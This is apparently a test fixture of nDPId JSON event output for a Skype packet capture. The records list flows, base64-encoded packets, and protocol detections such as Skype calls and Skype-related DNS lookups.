+00449{"flow_id":121,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":986,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970669,"pkt_ts_usec":218047,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8PFhAAEAG5O\/AqAEiQAQXpsgznF2bjnl5scFgjYAYECnM+wAAAQEICj4yDStMQvGckklqarCuvYw="} +00515{"flow_id":158,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":987,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970669,"pkt_ts_usec":288362,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"0NQSxnP1PBXCt3IOCABFAABr4qpAAEAGdlLAqAEinTeCjsg8AbsAEWqgQyFuW4AYECyYvwAAAQEICj4yDXFOwLdijvxAZZgUoCkBH\/EVHhRNRbBof0ntyHRIt71VUzxiPflWQfiWlCD80Wr\/3G66XhsettJAtcl5eA=="} +00451{"flow_id":155,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":988,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970669,"pkt_ts_usec":372575,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA35sAAEARF57AqAEiwKgBAfduADUALM6fTeoBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAAQAB"} +00451{"flow_id":156,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":989,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970669,"pkt_ts_usec":372662,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAIWEAAEAR1djAqAEiwKgBAfsCADUALD+l2TUBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAHAAB"} +00517{"flow_id":160,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":990,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970669,"pkt_ts_usec":517573,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"0NQSxnP1PBXCt3IOCABFAABrdjpAAEAGeRDAqAEi1cezsMg+Absskrs7gA\/xNYAYECz7VwAAAQEICj4yDlZO3n\/RxnG4\/AJEgxSLpj4g1w1XejDcElFRdGJgTnfA7RCUIGPtheZryFD\/LSyJskZ7bbubC2TOpkOp3g=="} +00518{"flow_id":159,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":991,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970669,"pkt_ts_usec":718745,"pkt_caplen":126,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":126,"pkt_l4_len":92,"pkt":"0NQSxnP1PBXCt3IOCABFAABw8NlAAEAG\/wHAqAEinTfrqsg9AbvoZ1rM+umGlIAYECxLKQAAAQEICj4yDx9MVnGKp9iYwrlcLUTfptpUQ9HnlFyq2KvXjkAGnxSlIXPZFxPNf26I7IG6HpdVzoKbtM+2y58XZOdHADBnVSgw"} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":992,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":164,"flow_packet_id":1,"flow_first_seen":1431970669927,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.146","src_port":13021,"dst_port":40030,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":164,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":992,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970669,"pkt_ts_usec":927160,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"0NQSxnP1PBXCt3IOCABFAAA2E64AAEARG+XAqAEi1cezkjLdnF4AIuLme30CQ7dH2z2v6k8Do\/cqwHkYPEueogZ7yfU="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":992,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":164,"flow_packet_id":1,"flow_first_seen":1431970669927,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.146","src_port":13021,"dst_port":40030,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":993,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":165,"flow_packet_id":1,"flow_first_seen":1431970669927,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.38","src_port":13021,"dst_port":40015,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00448{"flow_id":165,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":993,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970669,"pkt_ts_usec":927161,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"0NQSxnP1PBXCt3IOCABFAAA9jJkAAEARWu7AqAEinTg0JjLdnE8AKRAHe38C0EXr0Mxbt14LCxM+eOaK\/XZWtSRnQDNWL9r8hWuf"} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":993,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":165,"flow_packet_id":1,"flow_first_seen":1431970669927,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.38","src_port":13021,"dst_port":40015,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00448{"flow_id":149,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":994,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970669,"pkt_ts_usec":944918,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8QlNAAEAGrSbAqAEi1cezsMg6nFWOWkflXYl5QIAYECpBIwAAAQEICj4yEAFO3n48uQiwNY7rtQs="} +00448{"flow_id":146,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":995,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970669,"pkt_ts_usec":960069,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8TPZAAEAGDDbAqAEinTeCjsg3nEXoG0gEyGJx5oAYECq7fwAAAQEICj4yEBBOwLXQr3KT27Tir4g="} +00450{"flow_id":97,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":996,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970669,"pkt_ts_usec":983230,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8JPJAAEAGgpvAqAEinTg0LMgunFRemxVvo\/vFuIAYECpuKwAAAQEICj4yECdMZ\/7lUZ\/2f58qofY="} +00521{"flow_id":74,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":997,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970670,"pkt_ts_usec":61512,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"0NQSxnP1PBXCt3IOCABFAABxugZAAEAGnlHAqAEiQTffLcgnAbvOrma7ApkXD4AZECwu8QAAAQEICj4yEHVNlOpApvNYMEQS5cpK5u6346cd8BL2N20dvzqenZJMFcn1yRtBVTFQ\/i2ToNXpC7XoSTbRK6UPDCtXBWtUo6jCxA=="} +00516{"flow_id":158,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":998,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970670,"pkt_ts_usec":118698,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"0NQSxnP1PBXCt3IOCABFAABrhQZAAEAG0\/bAqAEinTeCjsg8AbsAEWqgQyFuW4AYECyVggAAAQEICj4yEK5OwLdijvxAZZgUoCkBH\/EVHhRNRbBof0ntyHRIt71VUzxiPflWQfiWlCD80Wr\/3G66XhsettJAtcl5eA=="} +00488{"flow_id":74,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":999,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970670,"pkt_ts_usec":192028,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"PBXCt3IO0NQSxnP1CABFAABY\/VZAADYGZRpBN98twKgBIgG7yCcCmRdezq5m+YAZAB14hgAAAQEICk2U\/F4+MhB1y6ri\/NV24R+k+4cX0jR6SFLXPQzoQ2dX0dan4GJ97gCcCEYV"} +00421{"flow_id":74,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1000,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970670,"pkt_ts_usec":192148,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAo\/8xAAEAGWNTAqAEiQTffLcgnAbvOrmb5AAAAAFAEAADOJgAA"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1001,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":166,"flow_packet_id":1,"flow_first_seen":1431970670304,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":61095,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00469{"flow_id":166,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1001,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970670,"pkt_ts_usec":304110,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABL\/QYAAEAR+ifAqAEiwKgBAe6nADUAN3lCuqsBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00662{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1001,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":166,"flow_packet_id":1,"flow_first_seen":1431970670304,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":61095,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"pipe.prd.skypedata.akadns.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1002,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":167,"flow_packet_id":1,"flow_first_seen":1431970670304,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":55866,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":167,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1002,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970670,"pkt_ts_usec":304363,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLI7cAAEAR03fAqAEiwKgBAdo6ADUAN4ffpXsBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00663{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1002,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":167,"flow_packet_id":1,"flow_first_seen":1431970670304,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":55866,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"pipe.prd.skypedata.akadns.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00691{"flow_id":18,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1003,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970670,"pkt_ts_usec":315034,"pkt_caplen":251,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":251,"pkt_l4_len":217,"pkt":"0NQSxnP1PBXCt3IOCABFAADt4eBAAEAGXOzAqAEiF84hpsgfAbv4Tz2YGDU8XoAYECymbwAAAQEICj4yEXDsPW3FFgMBALQBAACwAwNVWiNLhX\/\/ejAO4KpxNC8\/ZrCwmmE9wkU90zxCDkcIKAAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAPQAAABMAEQAADmFwcHMuc2t5cGUuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00518{"flow_id":160,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1004,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970670,"pkt_ts_usec":354192,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"0NQSxnP1PBXCt3IOCABFAABr48dAAEAGC4PAqAEi1cezsMg+Absskrs7gA\/xNYAYECz4FgAAAQEICj4yEZdO3n\/RxnG4\/AJEgxSLpj4g1w1XejDcElFRdGJgTnfA7RCUIGPtheZryFD\/LSyJskZ7bbubC2TOpkOp3g=="} +00533{"flow_id":81,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1005,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970670,"pkt_ts_usec":460380,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"0NQSxnP1PBXCt3IOCABFAAB3LFBAAEAGLH\/AqAEinTeCsMgpAbtXW5OVu\/PiI4AZECziFwAAAQEICj4yEgFOqL8U9IDgvpwdzGcEkd9CX4txidHNl7imFBAwZtm7PgDORMBSjaYWMXjPRWAjyRyC8GW2MJh6wHE92aXcM+JRSsWm\/1CudQ=="} +00452{"flow_id":155,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1006,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970670,"pkt_ts_usec":460650,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAdiAAAEARgRnAqAEiwKgBAfduADUALM6fTeoBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAAQAB"} +00452{"flow_id":156,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1007,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970670,"pkt_ts_usec":460724,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAmMcAAEARXnLAqAEiwKgBAfsCADUALD+l2TUBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAHAAB"} +00450{"flow_id":148,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1008,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970670,"pkt_ts_usec":527552,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8dH1AAEAGe5LAqAEinTfrqsg5nGDRQCMtGayygYAYECh3UQAAAQEICj4yEkNMVm\/1OYUqH2Q1qrY="} +00498{"flow_id":81,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1009,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970670,"pkt_ts_usec":585240,"pkt_caplen":111,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":111,"pkt_l4_len":77,"pkt":"PBXCt3IO0NQSxnP1CABFAABhXT5AADcGBKedN4KwwKgBIgG7yCm78+JyV1uT2YAZAB2qGgAAAQEICk6o0Js+MhIBLyDiNExQPczCRAjnVwZ1RnZMMyuPa9pdn4tTsYRcL8oSJaFJMMoLss2TQZg7"} +00420{"flow_id":81,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1010,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970670,"pkt_ts_usec":585326,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoe6BAAEAG3X3AqAEinTeCsMgpAbtXW5PZAAAAAFAEAAAZFQAA"} +00523{"flow_id":130,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1011,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970670,"pkt_ts_usec":650821,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"0NQSxnP1PBXCt3IOCABFAABxDdJAAEAGE0HAqAEiQAQXpsg1Abs0yMstLkeiTIAYECyyrgAAAQEICj4yEr1MQvMvj3RAvemHT+P7z0rouwAwTgf6jSGe3VlkB506Kg5x6iMueUoaC06tZlkow8O3V51nHVDge5Zkoq+VQDfaxQ=="} +00487{"flow_id":157,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1012,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970670,"pkt_ts_usec":742698,"pkt_caplen":100,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":100,"pkt_l4_len":66,"pkt":"0NQSxnP1PBXCt3IOCABFAABWvTJAAEAG\/jnAqAEib91Njsg7Abv27otpEKH0yoAYECz89QAAAQEICj4yExhNkBZ5b6tnM5g+MIH9ugWQ4EK6dUZuKY7n+8BcqJBKLNao313kcQ=="} +00518{"flow_id":159,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1013,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970670,"pkt_ts_usec":770839,"pkt_caplen":126,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":126,"pkt_l4_len":92,"pkt":"0NQSxnP1PBXCt3IOCABFAABwH2JAAEAG0HnAqAEinTfrqsg9AbvoZ1rM+umGlIAYECxHFAAAAQEICj4yEzRMVnGKp9iYwrlcLUTfptpUQ9HnlFyq2KvXjkAGnxSlIXPZFxPNf26I7IG6HpdVzoKbtM+2y58XZOdHADBnVSgw"} +00449{"flow_id":147,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1014,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970670,"pkt_ts_usec":788978,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA81OtAAEAG5prAqAEib91Njsg4nE30S7wpxRcMPYAYECke7wAAAQEICj4yE0ZNkBTphTv5WfSZuu0="} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1015,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":168,"flow_packet_id":1,"flow_first_seen":1431970670941,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.38","src_port":13021,"dst_port":40015,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":168,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1015,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970670,"pkt_ts_usec":941309,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"0NQSxnP1PBXCt3IOCABFAAAyyNoAAEARNhPAqAEib91KJjLdnE8AHkdoe4ECIl4YB+sv8264lsMD2bF6lk0ImA=="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1015,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":168,"flow_packet_id":1,"flow_first_seen":1431970670941,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.38","src_port":13021,"dst_port":40015,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1016,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":169,"flow_packet_id":1,"flow_first_seen":1431970670941,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.40","src_port":13021,"dst_port":40017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":169,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1016,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970670,"pkt_ts_usec":941372,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"0NQSxnP1PBXCt3IOCABFAAAyjX8AAEARWhHAqAEinTg0KDLdnFEAHlwwe4MCZJjbDEMF5Jp3fN4mrZ11ZfLW0g=="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1016,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":169,"flow_packet_id":1,"flow_first_seen":1431970670941,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.40","src_port":13021,"dst_port":40017,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00438{"flow_id":97,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1017,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970670,"pkt_ts_usec":941522,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0I6dAAEAGg+7AqAEinTg0LMgunFRemxV3o\/vFuIARECrzuwAAAQEICj4yE95MZ\/7l"} +00438{"flow_id":108,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1018,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970670,"pkt_ts_usec":941522,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0iuxAAEAGHKnAqAEinTg0LMgvAbu6eq7p7rH\/TIARECwTHgAAAQEICj4yE95MaAB9"} +00436{"flow_id":61,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1019,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970670,"pkt_ts_usec":955108,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA02WxAADYG74Jv3UotwKgBIpxIyCR2KHYs2DAKCYARAB23kgAAAQEICk2HwJ4+McPk"} +00451{"flow_id":109,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1021,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970671,"pkt_ts_usec":393319,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA82m1AAEAG4PfAqAEib91Nr8gwnF4IVe1D0FEsUoAYECmqiAAAAQEICj4yFaBNo+Jb\/KZqQh\/x2yw="} 